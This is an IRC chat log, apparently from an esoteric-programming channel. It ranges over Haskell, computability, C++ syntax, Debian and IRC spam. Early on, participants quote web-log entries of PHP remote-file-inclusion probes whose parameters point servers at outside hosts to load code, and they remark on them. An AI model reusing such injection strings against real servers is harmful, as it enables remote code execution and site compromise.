23:02:07 <zzo38> Such as, sometimes I play Dungeons & Dragons game.
23:03:19 <itidus21> i don't understand my own life really.
23:03:40 <elliott> 61.250.80.133 - - [16/Mar/2012:22:55:50 +0000] "GET /user/soapCaller.bs HTTP/1.1" 404 142 "-" "Morfeus Fucking Scanner"
23:03:46 <itidus21> just as it's possible for a novice to not understand the game of tictactoe they're playing..
23:04:04 <itidus21> but an outside observer can see whats going on with it
23:04:32 <itidus21> it all feels quite random to me
23:05:10 <itidus21> that would be the learned helplessness talking, unless i subconciously know that and am just pretending to have learned helplessness
23:05:36 <fizzie> elliott: $ grep -ic 'morfeus fucking' zem.fi-access.log
23:06:08 <elliott> fizzie: I mean, "Morfeus Fucking Scanner" is a pretty badass name.
23:06:21 <fizzie> It is, but I'm not sure how to group it.
23:06:39 <fizzie> I mean, is it Morfeus (Fucking Scanner) or is it just Fucking for emphasis.
23:07:00 <elliott> Fucking is the middle name.
23:07:06 <elliott> Morfeus F. Scanner in polite company.
23:07:16 <elliott> Not that Morfeus Fucking Scanner really "does" polite company.
23:07:39 <fizzie> Sometimes Morfeus F. (or Uncle Fuck) goes for /index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://makina.org/sugarfree/1.gif?/ or others instead, it seems.
23:07:39 <oerjan> <elliott> oerjan: would a bot in here that announces wiki changes be nice. <-- hm why not.
23:07:44 <zzo38> I thought of a poker game with Pokemon cards. You play like Texas Hold'em, using a deck that does not contain any basic energy cards. After the betting is finished, each player gets a duplicate of all five community cards, and the two cards in their hand, become their initial hand. You can then bid on basic energy cards the remainder of your starting draw pile.
23:08:12 <elliott> http://makina.org/sugarfree/1.gif ;; aww, 404.
23:08:19 <zzo38> fizzie: That must be something trying to exploit PHP register_globals isn't it?
23:08:21 <elliott> Even http://makina.org/sugarfree/ is 404.
23:08:44 <elliott> oerjan: well it would be fun if we got a spam wave
23:09:20 <fizzie> zzo38: Likely something like that. There's also another doing /?_SERVER[DOCUMENT_ROOT]=http://87.119.200.140/include/template/templates_c/1.gif?/ which I think is also trying to trick some server to act as an open proxy.
23:11:06 <oerjan> <itidus21> that would be the learned helplessness talking [...] <-- this reminds of that recent link on mezzacotta: http://lesswrong.com/lw/ar2/biased_pandemic
23:11:41 <zzo38> Do you like my idea of Ibtlfmm allowing the main to be of any type instead of only IO? (but to make a standalone executable it still has to be either (IO ()) or (unsafe "c_int(c_int,c_char**)"), otherwise you can make a dynamically loadable file but not a standalone executable)
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23:13:11 <zzo38> (If the computer has "int" being 32-bits and "char" being 8-bits, then you can also use (unsafe "i32(i32,i8**)") as the type of main)
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23:19:57 <Sgeo> Common Lisp feels more ... static-checky than PHP
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23:25:11 <itidus21> oerjan: i think that is really quite profound
23:26:20 <oerjan> especially the idea of eventually getting so subtle about it that the players will guess your _real_ biases instead.
23:26:55 <oerjan> oh that involved the "No Bias" card, iirc
23:28:02 <itidus21> i like the idea that people can actually learn something from playing a game
23:28:58 <oerjan> zzo38: see the link i gave to the game
23:29:00 <itidus21> also... the way it subverts the investment in winning and losing
23:30:16 <zzo38> I think if (r) is Monoid and (m) is Applicative, there is a way to get a free Alternative instance for (ContT r m)
23:31:11 <Sgeo> elliott, tswett monqy update
23:31:20 <Sgeo> Phantom_Hoover,
23:31:50 <oerjan> zzo38: oh hm there were no actual cards with the biases, they just used ordinary playing cards for random selection. although surely you could make cards for the biases instead.
23:33:21 <Phantom_Hoover> KANAYA: I Feel As Though This Conversation Has Utterly Outmaneuvered My Constructive Involvement
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23:34:03 <zzo38> empty = ContT . const $ pure mempty; ContT x <|> ContT y = ContT $ \z -> liftA2 mappend (x z) (y z);
23:35:05 <fizzie> "Ouch! Got SIGTERM, dying..eeze1) ..." --aptitude.
23:35:06 <elliott> that lambda is (liftA2 . liftA2) mappend x y.
23:35:41 <elliott> fizzie: I think you broke it.
23:40:26 <zzo38> And I think that if (r) is a ring then so is (Cont r a) although it is not necessarily a computable ring.
23:41:15 <oerjan> zzo38: i wonder if that's essentially the trick they use to emulate things like the list monad with continuations
23:42:02 <elliott> oerjan: "things like"? you can do any monad with Cont
23:42:23 <oerjan> elliott: well yes, but the list monad might turn into something like that?
23:43:40 <zzo38> oerjan: I don't know.
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23:47:19 <elliott> oerjan: what should the recent changes bot be called.
23:50:33 <elliott> no. but i will elect you POTUS if you don't answer.
23:50:59 <oerjan> that's going to be an impressive achievement.
23:51:41 <oerjan> or was there a hyphen in that
23:51:52 <elliott> this is not a coincidence.
23:52:06 <elliott> speaking of which, i never did get around to writing cs-words.
23:53:10 <elliott> that sounds significantly more difficult.
23:54:51 <zzo38> oerjan: I cannot see how you can use the things like I have specified, to emulate things like a list monad with continuations
23:55:03 <elliott> oerjan: i was looking for an actually meaningful name, btw :p
23:55:19 <oerjan> elliott: suggestion 2: eso-ham
23:56:31 <Sgeo> How hard would it be to decrypt my encrypted ~ stuff on Windows?
23:58:05 <elliott> you could attach the device to a VM I suppose.
00:01:29 <zzo38> Is it possible to derive the Applicative laws from saying (pure mempty) and (liftA2 mappend) form a monoid? (Note that the Applicative itself is not constrained, and that the types of these things are more general then what I specified here)
00:01:51 <zzo38> O, I missed one thing: Also that it is a Functor.
00:02:01 <zzo38> has to be assumed too
00:03:57 <elliott> oerjan: hey is "What hath I wrought" valid.
00:04:43 <elliott> oerjan: how do i make it valid.
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00:28:23 <elliott> oerjan: (the context is a certain answer to http://stackoverflow.com/questions/9745539/how-do-i-create-haskell-functions-that-return-functions. which one will become apparent if you read the page.)
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00:46:27 <zzo38> Is it ever useful that a continuation can form a ring? Is the free Alternative instance for continuations every useful?
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01:01:20 <itidus21> i have a fairly dumb question to throw out there.. im wondering what sort of computational class i would have if programs consist of a sequence of optionally labelled lines: goto line and print text
01:02:58 <itidus21> so it would be like: 1:goto 10. 5: print world. goto 11. 10: print hello. goto 5. 11:undocumented end command
01:12:10 <Sgeo> Something that can print a finite or infinite amount of text. I don't think printing counts as computation?
01:12:16 <Sgeo> But maybe I'm missing something
01:12:39 <Sgeo> Either it terminates or it doesn't, and it's easy to determine statically.
01:17:59 <kmc> it's not really a computational class, because it always does the same thing
01:18:14 <kmc> it doesn't accept/reject strings, or return values based on inputs, or anything like that
01:18:25 <kmc> it's just a graph
01:19:14 <elliott> we'd probably categorise it as [[Category:Finite state automata]].
01:21:42 <Sgeo> kmc, so do turing machines.
01:21:56 <Sgeo> Well, unless the tape counts as input?
01:22:07 <Sgeo> I thought turing machines start with blank tape
01:22:25 <Sgeo> Although I guess that doesn't make sense.
01:24:52 <kmc> Turing machines accept/reject a string
01:25:24 <kmc> the string is given as the initial contents of the tape
01:25:35 <kmc> and the machine can enter an accept or reject state
01:26:11 <kmc> or, you can talk about Turing machines implementing functions, in which case the input is the starting tape and the output is the final tape
01:28:07 <kmc> Turing machines which accept/reject strings give you the computational classes R (recursive languages) and RE (recursively enumerable languages)
01:28:55 <kmc> a language is just a set of strings
01:29:17 <kmc> a language is in RE if there exists a TM which accepts all strings in the language
01:29:24 <kmc> a language is in R if there exists a TM which accepts all strings in the language, and rejects all strings not in the language
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01:30:51 <kmc> if the initial tape is always blank then you cannot use your TMs to define languages; however they are still interesting in other ways, for example deciding whether one halts is still uncomputable
01:32:13 <kmc> in fact there is an alternative definition of RE which uses TMs that have blank input and a second write-only 'output tape'
01:33:22 <kmc> in that formulation, a language L is RE iff there's some TM such that any string in L is eventually output by the TM
01:33:36 <kmc> exercise: prove that the two definitions of RE are equivalent
01:36:17 <kmc> when i said 'accepts all strings in the language' i should have also said 'and no others'
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02:46:38 <coppro> I was asleep for several hours and nothing happened Oo
03:02:43 <quintopia> what is the minimum value of x such that if i adversarily give you x of the n^2+2 "obvious" data about an n-category venn diagram, you can completely solve it?
03:04:07 <coppro> define an 'n-category Venn diagram'
03:04:31 <quintopia> strike that n^2+2 part. that's too subjective.
03:05:48 <quintopia> coppro: a set of n finite sets in a finite universe where all the elements are indistinguishable except by which of these sets they are members of
03:11:30 <coppro> call the set of these sets S
03:12:19 <coppro> what is the least x so that, given a function from P -> N, where P \subseteq P(S), defined by taking the size of the intersection of those sets, you can extend the function to be total on P(S)?
03:13:28 <coppro> Because it's just a system of linear equations
03:13:55 <coppro> And there are 2^n powersets, n of which contain a given set
03:14:27 <coppro> you can drop the +1 if you aren't considering the empty set
03:15:28 <quintopia> um. would keeping the +1 account for the elements in the universe that are in none of the sets?
03:15:43 <quintopia> aka "the set of all elements not in any set we care about"
03:16:17 <quintopia> this formula isnt jibing with the base cases i have
03:18:51 <quintopia> i'm having trouble visualizing the generalized system
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03:23:12 <coppro> hmm... how do you get that it takes 6 to solve n=3?
03:31:19 <quintopia> i have a problem where 7 are given
03:31:35 <quintopia> i would have guessed 2^n-1 as the formula based on that
03:42:21 <quintopia> Found it: http://mdm4u1.wetpaint.com/page/5.1+Organized+Counting+with+Venn+Diagrams
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03:54:42 <elliott> AAAAAAAAAAAA MY FACE IMPLODE
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04:35:25 <elliott> http://stackoverflow.com/questions/9740747/android-application-will-rock-the-world
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05:29:25 <Sgeo> tswett, elliott monqy update
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07:04:03 <elliott> http://distractionware.com/games/flash/hexagon/ this is completely impossible
07:12:44 <shachaf> elliott: Can you make it so that people stop bringing up xmonad as an example of a Haskell project?
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07:25:25 <shachaf> elliott: Because it's annoying. :-(
07:35:08 * Sgeo wants examples of Common Lisp projects
07:36:42 <Sgeo> elliott, I suck at that game
07:38:22 <elliott> I've got to like 20 seconds in. :(
07:54:20 <elliott> http://esolangs.org/w/index.php?title=Golf&diff=24233&oldid=16338 sigh
08:01:08 <elliott> http://esolangs.org/wiki/Java%27 http://esolangs.org/wiki/Java%27%27 i don't want these to exist
08:04:33 <Sgeo> Wait, what's the complain against generic superclass? (Except that Java's isn't actually effective due to not containing primitives)
08:04:52 <Sgeo> Java'' is just nonsensical
08:05:35 <Sgeo> Oh, without generics
08:06:05 <Sgeo> Isn't that just called old Java?
08:07:33 <zzo38> I suggest merging the articles into a single article.
08:14:01 <elliott> Then we'd have one article that's twice as bad!
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08:18:09 <shachaf> elliott: But it would also be twice as good.
08:18:49 <zzo38> And you wouldn't have two articles like that.
08:20:46 <elliott> shachaf: How good are you at that game?
08:21:28 <shachaf> So you can feel happy about it.
08:50:48 <elliott> Aargh, now everything is rotating hexagonally in my mind.
08:53:35 <elliott> shachaf: Did you know System.Random defines a monad?
09:09:16 <Sgeo> DOUBLE MONOCULAR O
09:09:38 <Sgeo> CYRILLIC SMALL LETTER DOUBLE MONOCULAR O
09:10:12 <Sgeo> Or maybe that's CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O, the rather bizzare way in which I chose to determine it was rather silly
09:11:26 <Sgeo> I pasted that character into another channel for no reason, THEN realized it could look like something other than eyes
09:17:27 <shachaf> elliott: WHY IS MY LAPTOP SO HOT
09:17:42 <shachaf> elliott: What steps could I have taken in the relatively recent past to avoid this problem
09:18:53 <elliott> You know, I don't think the effort I put into responding to things shachaf says pays off.
09:19:14 <Sgeo> shachaf, you could stop posting ASCII boobies?
09:19:42 <Sgeo> (Note: Not actually intended to help with an issue of laptop heating)
09:20:26 <Sgeo> I have no idea why I chose that word.
09:20:51 <shachaf> I think the word is "eyes".
09:23:24 <zzo38> Is not ASCII, isn't it?
09:23:36 <Sgeo> zzo38, indeed, it is not ASCII
09:25:17 <elliott> Wait, Rayman Origins is coming out for PCs?
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09:32:02 <shachaf> elliott: Is Typeable evil?
09:34:30 <shachaf> elliott: Is Blizzard evil?
09:34:37 <Sgeo> Is Wikia evil?
09:34:43 <shachaf> They put nasty always-online DRM in Diablo III.
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09:54:12 <kmc> java's so stupid for not boxing primitives
09:54:21 <kmc> instead they should have put 10 years of research into automatic unboxing
09:54:31 <kmc> and then exposed the unboxed versions anyway because people neeeed speeeeed
09:55:50 <elliott> They should have just boxed them.
09:55:52 <shachaf> kmc: Is that in response to anything in particular?
09:56:00 <kmc> it's what GHC did ;)
09:56:11 <kmc> kids these days, you have it so easy
09:56:15 <elliott> After all, applets Swing would seal Java's reputation for slowness.
09:56:19 <shachaf> Boxed values in Haskell are very different from boxed values in Java.
09:56:25 <elliott> So they could sacrifice unboxed primitives and not lose much in terms of speed rep.
09:56:32 <kmc> back in my day every function had to start with a guard | x `seq` y `seq` z `seq` False = undefined
09:56:35 <kmc> EVERY FUNCTION.
09:57:05 <kmc> i started learning Haskell in 2006
09:57:31 <kmc> boxing serves a common purpose in Haskell and Java
09:57:35 <elliott> What? That's only one or two years earlier than me.
09:57:42 <kmc> which is to enable polymorphism
09:57:48 <kmc> yes, i'm not actually an old-timer, it just amuses me to say such things
09:58:04 <shachaf> elliott and I first joined #haskell within a week of each other.
09:58:15 <kmc> aiui you can't have an ArrayList<int> for roughly the same reason you can't have an [Int#]
09:58:18 <elliott> shachaf: No, you first joined #haskell in 2002, and are 28.
09:58:50 <kmc> but maybe these days ArrayList<int> is secret code for ArrayList<Integer>?
09:59:13 <kmc> i know some automatic conversions were added in Java [1.]5
09:59:40 <kmc> better fool, etc
09:59:59 <shachaf> elliott: nickserv says I registered on Freenode in 2004.
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10:00:28 <elliott> That's because NickServ reset in 2004.
10:00:33 <elliott> You actually registered your nick in 2001.
10:00:51 <elliott> kmc: Anyway, Java should basically just have been Lisp instead.
10:00:54 <elliott> Then it would have been good
10:01:11 <kmc> it would be the Most Powerful Language ™
10:01:34 <shachaf> Little-known fact: John McCarthy invented Java in 1957.
10:01:49 <elliott> I just want to say that whoever came up with the <> syntax for C++ templates should, e.g. start a home for orphaned kittens or something.
10:01:56 <elliott> If they want a good afterlife.
10:02:05 <elliott> No, not a home. A hospital.
10:02:10 <elliott> A hospital for injured, orphaned kittens.
10:02:14 <shachaf> Then he hid the manuscript describing it, which was only rediscovered by James Gosling in 1995.
10:02:16 <kmc> john mccarthy richard nixon studebaker television
10:02:40 <shachaf> elliott: What's wrong with that syntax?
10:02:52 <shachaf> The only improvement they could make would be to add close tags at the end of a template definition.
10:03:07 <kmc> elliott, did you know that interpreting >> as double close template rather than right shift can change a valid C++03 program into another valid program which does something different?
10:03:08 <shachaf> template<typename T> struct Foo { ... } template</typename T>;
10:03:42 <elliott> kmc: So C++11 changed the meaning of existing programs?
10:03:46 <elliott> shachaf: Because <> are The Ugliest Brackets.
10:03:55 <kmc> think so, i doubt that's the only way either
10:03:55 <elliott> Oh, you were being unserious.
10:04:14 <kmc> std::cout << (Y<X< 1>>::c >::c>::c) << '\n';
10:04:17 <kmc> http://www.open-std.org/jtc1/sc22/WG21/docs/papers/2005/n1757.html
10:04:22 <kmc> shachaf, nooooooo
10:04:45 <shachaf> kmc will need to find ever more esoteric quotation marks.
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10:04:56 <lambdabot> Phantom_Hoover: You have 4 new messages. '/msg lambdabot @messages' to read them.
10:05:20 -!- pikhq_ has quit (Ping timeout: 272 seconds).
10:05:24 <kmc> shachaf, 「i've always been fond of these」
10:05:47 <kmc> shachaf, oh hey ｢halfwidth｣
10:06:24 <shachaf> That's halfway there! But I prefer: zerowidth
10:06:39 <shachaf> Hmm, that joke doesn't really work when you can't tell there are quotation marks around it.
10:06:40 <kmc> i will use zero-width non-breaking non-space
10:08:28 <shachaf> kmc: Did you know you could put "typedef" almost anywhere in a type definition?
10:08:44 <shachaf> struct foo { ... } typedef foo_t;
10:09:03 <shachaf> That latter one is actually a reasonable-looking syntax.
10:09:21 <kmc> struct foo { ... } `typedef` foo_t;
10:10:08 * shachaf was trying to figure out a way to make Ruby accept that syntax but doubts that it's possible. :-(
10:10:28 -!- cheater has quit (Ping timeout: 252 seconds).
10:10:35 <kmc> well, you got it to segfault, right?
10:10:42 <kmc> just exploit the interpreter and monkeypatch the parsing routines
10:10:51 <kmc> just exploit the interpreter and monkeypatch the parsing routines
10:10:59 <kmc> shit, a glitch in the matrix
10:11:05 <shachaf> But the segfault doesn't happen in 1.9.3. :-(
10:11:11 <kmc> submit a patch
10:11:28 <shachaf> kmc: By the way, your time is up.
10:11:34 <shachaf> Where should I go eat a burrito in SF?
10:12:07 <kmc> http://maps.google.com/maps/place?hl=en&cid=13452708831306342560
10:12:40 <kmc> also, were you the one who told me about Maru Ichi in Mountain View?
10:12:53 <kmc> (well, I think at least three people told me)
10:12:56 <kmc> it was really good!
10:13:31 <shachaf> Did you have the kuro ramen?
10:13:49 <shachaf> Their one vegetarian soup is also good.
10:13:58 <elliott> <shachaf> kmc: Did you know you could put "typedef" almost anywhere in a type definition?
10:14:31 <shachaf> elliott: "typedef" is a "storage class specifier" syntactically.
10:14:53 <kmc> int typedef const x;
10:15:36 <shachaf> Hmm. I'm going to be in SF Mon and Wed.
10:15:39 <shachaf> But 16th St. is a bit far.
10:15:48 <kmc> you can ride the BART
10:16:08 <shachaf> True. I'll see how much time I'll have.
10:16:21 <kmc> where in SF will you be?
10:16:48 <fizzie> Storage-class-specifiers are pretty much identical to type-specifiers, type-qualifiers and function-specifiers, syntactically, so "like const" is not so far off.
10:17:18 <shachaf> fizzie: You can't int (*typedef foo)();
10:17:56 <fizzie> Yes, but that's not what I said.
10:18:02 <fizzie> "inline" is a function-specifier.
10:18:32 <elliott> shachaf: But if you could!
10:18:34 <shachaf> But "const" *does* fit there.
10:18:48 <shachaf> kmc: Mostly pretty close to the 4th St. Caltrain, I think.
10:18:54 <shachaf> Which is my main reference point in SF. :-)
10:19:32 <kmc> 'Driving directions to 16, Mission, TX 78572'
10:19:34 <kmc> no, google
10:20:02 <shachaf> THIS IS WHY FACEBOOK IS WINNING, GOOGLE
10:20:07 <shachaf> Get your directions right.
10:20:30 <kmc> shachaf, I would walk to Mission and take a bus on Mission
10:20:32 <kmc> but i like walking
10:21:02 <kmc> however "32, cambridge ma" is useful
10:21:21 <shachaf> The question is whether I'll have enough time.
10:21:24 <kmc> and it even gets the city name right!
10:22:02 <shachaf> Why is it that when I mark an email unread in Gmail, the Android Gmail client beeps?
10:22:19 <shachaf> I don't need that notification, Android Gmail client. I just marked that email unread. I know about its existence.
10:22:26 <kmc> we all living in amerika
10:22:29 <kmc> amerika ist wunderbar
10:23:59 <shachaf> So I can make Ruby handle all of: uint32_t multiple, values; char string[12], val; uint32_t bit:1, fields:7; char matrix[256][256]; char *ptrs[5], byte, *ptr_matrix[8][8]; bool **ptr_to_ptr; uint32_t * ptr_array_with_whitespace[256]; char byte_arr_with_other_whitespace [256];
10:24:20 <elliott> monqy made another edit! Im so proude.
10:24:56 <elliott> @tell monqy Well done , son .
10:25:00 <shachaf> kmc: What's the best train?
10:26:02 <kmc> of them all?
10:26:15 <kmc> i don't know
10:26:18 <kmc> i am no train expert
10:26:55 <elliott> it could be just going along happily training
10:27:04 <elliott> and find another railway to land on
10:27:06 <shachaf> My worldview is ruined. :-(
10:27:11 <shachaf> Hey, who flipped my interrobang?
10:27:19 <elliott> i feel as if my wisdom is not being appreciated here
10:27:30 <kmc> the first TGV was turbine powered
10:28:07 <elliott> -- kmc "no train expert" kmc
10:28:33 <shachaf> elliott: kmc's last name is McAllister.
10:28:39 <shachaf> kmc "no train expert" McAllister
10:29:28 <elliott> (Is that the right syntax?)
10:29:43 <shachaf> Common Lisp is never the right syntax.
10:29:49 <kmc> yaml has syntax for that
10:29:58 <elliott> YAML has syntax for everything.
10:30:33 <shachaf> Did you know "YAML" originally stood for "Yet Another Markup Language"?
10:31:00 <kmc> employee of the month
10:31:02 <elliott> He's got all the YAML facts.
10:31:22 <shachaf> elliott: I can't help it! I have YAML pushed on me by -- certain members of the YAML community.
10:31:31 <kmc> the radical YAML agenda
10:31:46 <kmc> they want to teach YAML in public schools
10:32:03 <elliott> Did you know I once tried to make a Lisp dialect whose syntax was YAML? Spoiler: it didn't work out because YAML is terrible.
10:32:45 <kmc> oh, I could use ⸘‽ for quotes!
10:32:57 <elliott> shachaf: You should tell those certain members that OGDL is way nicer.
10:33:08 <shachaf> elliott: Well, mostly just one of them.
10:33:59 <shachaf> Silly elliott, YAML is for data
10:34:13 <kmc> code is data, dude
10:34:30 <kmc> and codata is cocode
10:34:50 <shachaf> The "co" Desktop Environment.
10:35:56 <elliott> Did you know that smuggling weasels is illegal in 24 states, including Alaska, Hawaii and the Philippines?
10:37:52 <elliott> shachaf: If you want, you can join #haskell.
10:38:03 <shachaf> elliott: If you want, you can ENLARG3 Y0UR MORTGAG3 QUICK AT xn--80afbi5amoq.info
10:38:09 <shachaf> Curses, you beat me to it.
10:39:01 <elliott> shachaf: Hey, you're meant to report spam in #freenode, right?
10:39:05 <elliott> I always forget how these things work.
10:39:22 <shachaf> I think you're meant to not care.
10:39:24 <elliott> * Fifo2 (58d42422@gateway/web/freenode/ip.88.212.36.34) has joined #freenode
10:39:24 <elliott> <elliott> spammer in #haskell: <Fifo> raichoo: If you want, you can /join ##iPhoneFifo.
10:39:29 <elliott> LOOK AT MY EXCELLENT TIMING.
10:39:35 <shachaf> APATHY will lead us to VICTORY
10:39:48 <elliott> shachaf: But if I do this, then I sometimes get personal attacks from the spammers.
10:40:00 <kmc> dist_man_MANS = mosh.1 mosh-client.1 mosh-server.1
10:40:26 <shachaf> kmc: autowhatever should have a pluralization engine like Rails.
10:40:38 <kmc> dist_man_MEN
10:40:51 <elliott> <Fifo2> elliott: I'm NOT a spammer!
10:40:51 <elliott> <elliott> well... you asked someone to join your completely unrelated channel out of the blue... which is spam
10:41:13 <elliott> Spam is actually a canned meat product.
10:41:15 <kmc> when I was in SF i saw a bird that looks like a duck and quacks like a duck but isn't
10:41:18 <shachaf> Now I don't even need to report spammers to deal with their complaints.
10:41:20 <elliott> On this technicality Fifo shall ROAM FREE
10:41:35 <shachaf> kmc: Don't tell all the Ruby people there!
10:41:40 <kmc> it was a coot!
10:41:41 <elliott> <Fifo2> elliott: Fuck you!
10:42:32 <kmc> elliott, in PM?
10:42:35 <kmc> i don't see it in logz
10:42:46 -!- oerjan has joined.
10:42:50 <kmc> why would the spammer be in #freenode
10:42:57 <elliott> They joined about 5 seconds before I reported it.
10:43:06 <elliott> Guilty conscience, perhaps?
10:43:11 <elliott> Maybe they're just trying to see how quickly they can get k-lined.
10:43:18 <shachaf> kmc: Wouldn't it be easier to keep a #haskell tab open than to look at logs?
10:43:23 <kmc> i tried to get k-lined but all i got was this lousy t-shirt
10:43:26 <elliott> I like that they said "hi" before spamming, though.
10:43:33 <elliott> Mighty considerate of them.
10:43:39 <oerjan> kmc: so you just got t-lined, then?
10:43:44 <kmc> shachaf, that would reduce the energy barrier of replying to a dangerous level
10:44:01 <oerjan> a k-shirt might be something weird to wear
10:44:09 <elliott> kmc: What if I set up a bot in here that lets you send messages to #haskell with a single command?
10:44:11 <kmc> perhaps i should patch XChat to forbid sending messages to #haskell
10:44:18 <kmc> probably not
10:44:26 <shachaf> C++11 supports "for (int &x : array)"?
10:44:33 <kmc> yes, it's the best
10:44:35 -!- cheater has joined.
10:44:38 <shachaf> I guess only for arrays whose length is known at compile-time.
10:44:41 <elliott> kmc: What if I set up a bot in here that forwarded everything you say to #haskell?
10:44:43 <kmc> works for iteratable things too
10:44:50 <kmc> elliott, what if Fuck you!
10:45:20 <kmc> elliott, if you want you can join #esoteric
10:45:26 <elliott> If you want, you can /query kmc.
10:45:35 <kmc> we can dance if we want to
10:45:36 <elliott> Then you'll be talking TO YOURSELF.
10:45:52 <shachaf> Talking to yourself in /query is an interesting experience with somewhat high latency.
10:46:17 <elliott> I take this to mean that shachaf regularly /queries himself.
10:46:24 <elliott> Enough to notice the oddity of increased latency.
10:46:43 <shachaf> elliott: Little-known fact: I'm kmc.
10:46:56 <shachaf> I have to keep the /queries going so the NSA won't suspect anything.
10:47:20 <kmc> # chmod 777 mosh-client
10:47:20 <kmc> ----rwxr-x system sdcard_rw 5081976 2012-03-14 22:11 mosh-client
10:47:23 <kmc> did i mention i hate android
10:47:37 <shachaf> The NSA: The most intrusive of the "A"s.
10:48:17 <shachaf> kmc: Does the Mosh exist for the Android? Or are you porting it?
10:48:21 <kmc> porting it
10:49:14 <shachaf> kmc: Is this why you were writing ARM shellcode?
10:49:33 <kmc> https://github.com/keithw/mosh
10:50:41 <elliott> I do not like how it links to http://mosh.mit.edu which redirects back to the page itself.
10:50:45 <elliott> That makes me want to hurt things. :(
10:50:55 <kmc> you have a low anger threshold
10:51:09 <shachaf> It's the mosh that broke the camel's back.
10:51:11 <elliott> Okay, that prediction thing is cool.
10:51:15 <shachaf> Where elliott is the camel.
10:51:25 <elliott> Although the fact that line-editing is done remotely is just a flaw of SSH anyway.
10:51:41 <kmc> i wouldn't blame SSH in general
10:51:44 <kmc> in cooked mode, sure
10:51:55 <kmc> but mosh's prediction works even in fullscreen curses apps
10:51:56 <shachaf> elliott: What I mean to say is: You're a camel.
10:52:10 <shachaf> I would've said that in another channel, except that... Oh.
10:52:14 <elliott> kmc: Well, what I mean is that the entire SSH model is broken and everything is wrong and sucks, but I decided to focus my complaint.
10:52:24 <kmc> if by 'SSH' you mean 'Unix' then sure
10:52:59 <shachaf> Trick question: @ doesn't support anything
10:53:12 <oerjan> it supports the revolutionary @sec
10:53:35 <elliott> I think I @told oerjan some things in the log. Maybe?
10:54:04 <oerjan> nope, that was yesterday
10:54:06 <shachaf> kmc: Can you help me reset my sleep schedule?
10:54:30 <elliott> kmc: Anyway, I don't need mosh because I have a LOCAL ORAGNIC FARM-GROWN SERVER in my HOMELAND.
10:54:43 <elliott> And I'm prepared to be UNBEARABLY SMUG ABOUT IT.
10:55:27 <elliott> elliott@solidity:~$ sudo apt-get install mosh
10:55:27 <elliott> [sudo] password for elliott:
10:55:27 <elliott> Reading package lists... Done
10:55:27 <elliott> Reading state information... Done
10:55:27 <elliott> E: Unable to locate package mosh
10:55:31 <elliott> It's not even in the Best Debian Release.
10:55:52 <shachaf> It is. You just need to use äpt-gët
10:56:01 <elliott> hamm is the best Debian release.
10:56:05 <elliott> What was Debian 1.0 called?
10:56:18 <oerjan> elliott: why are you doing mad-libs
10:56:32 <shachaf> I'm pretty sure Potato was the best release.
10:56:57 <elliott> "Debian 1.0 was never released: Accidently InfoMagic, a CD vendor, shipped the development release of Debian and entitled it 1.0. On December 11th 1995, Debian and InfoMagic jointly announced that this release was screwed."
10:56:58 <oerjan> elliott: <elliott> kmc: Anyway, I don't need mosh because I have a LOCAL ORAGNIC FARM-GROWN SERVER in my HOMELAND. <elliott> And I'm prepared to be UNBEARABLY SMUG ABOUT IT.
10:57:10 <elliott> oerjan: That's an incredibly specific mad-lib template.
10:57:18 <elliott> shachaf: OK, but Debian 1.1 was released.
10:57:34 <shachaf> I was in #llvm on oftc recently.
10:57:48 <shachaf> That channel made me feel bad.
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10:58:11 <elliott> Heh, Debian 1.1 didn't come out until after Ian Murdock stopped being project lead. An eventful career.
10:58:29 <shachaf> Their SIGNAL-TO-NOISE RATIO is so high that even asking my VAGUELY ON-TOPIC QUESTION decreased it.
10:58:48 <elliott> apt only came out in 1999?!
10:59:11 <elliott> shachaf: #haskell's signal-to-noise ratio isn't that bad right now! Admittedly, they're not talking about Haskell.
10:59:18 <elliott> <Rc43> gaze__, hm, I am newbe in sound, five minutes ago I just used 6 parametrix EQs per a track with statically gained notes
10:59:18 <elliott> <Rc43> gaze__, so If I coded a plugin, I did the same, without any analysis
10:59:18 <elliott> <gaze__> I'd use the D vst api or the python one, and play with filters in matlab or something
10:59:26 <oerjan> now shachaf is doing mad-libs too. freaky.
10:59:29 <elliott> <gaze__> I mean you could write a haskell vst api but haskell doesn't buy you anything here
10:59:33 <elliott> Oblig. "other than on-topicality".
10:59:39 <elliott> kmc must appreciate my #haskell commentary.
11:00:28 <elliott> "Please, don't use plain String's (especially when you are processing >100m files). Just replace them with ByteString's"
11:00:29 <shachaf> oerjan: That was the point, yes.
11:00:54 <elliott> Bonus from the code they suggest: " filename <- liftM getArgs"
11:01:09 <oerjan> shachaf: ah i guess i MISINTERPRETED it AS A COINCIDENCE
11:01:34 <elliott> Wow, woody -> sarge took an awful long time.
11:01:54 <oerjan> just a CASE of bad GIRAFFE
11:02:15 -!- Jafet has joined.
11:02:28 <shachaf> elliott: You don't remember the time when Debian had a REPUTATION of never RELEASING?
11:02:52 <kmc> http://www.gnu.org/software/automake/manual/automake.html#Complete
11:02:55 <elliott> Albeit I DIDN'T REALLY EXIST until AFTER IT.
11:02:57 <kmc> zardoz_SOURCES = main.c head.c float.c vortex9.c gun.c
11:03:21 <elliott> kmc: "Let's suppose you just finished writing zardoz, a program to make your head float from vortex to vortex."
11:03:27 <elliott> No system is complete without a copy.
11:03:36 <kmc> how else will you control the outlands
11:03:51 -!- oerjan has set topic: This is LIKELY the MOST IMPORTANT THING you will READ all SEPTEMBER: http://championofbirds.com/?p=4991 | http://codu.org/logs/_esoteric/.
11:04:07 <kmc> zarday 3 5 2, twenty brutals exterminated
11:04:18 <fizzie> The Penis is evil! The Penis shoots Seeds, and makes new Life to poison the Earth with a plague of men, as once it was. But the Gun shoots Death and purifies the Earth of the filth of Brutals. Go forth, and kill! Zardoz has spoken.
11:05:10 <kmc> the GNU project will touch-teach you
11:05:20 <fizzie> "KGlobal::locale::Warning your global KLocale is being recreated with a valid main component instead of a fake component, this usually means you tried to call i18n related functions before your main component was created. You should not do that since it most likely will not work"
11:06:16 <kmc> that's a bit more polite than gnome's usual "GObject: *** CRITICAL:: FATAL ..."
11:06:20 <shachaf> C++ didn't have "long long int" before C++11?
11:06:28 <fizzie> I don't know why these warnings are so enthusiastic! "Attempt to use QAction "view_projects" with KXMLGUIFactory!"
11:06:29 <kmc> scrolling by at hundreds per second with no apparent consequence
11:06:32 <elliott> kmc: I found a bug in mosh.
11:07:21 <elliott> I do wonder if the GNOME people have ever thought to look into those critical errors.
11:07:42 <Jafet> Who cares about those critics.
11:07:58 <kmc> haters gonna hate
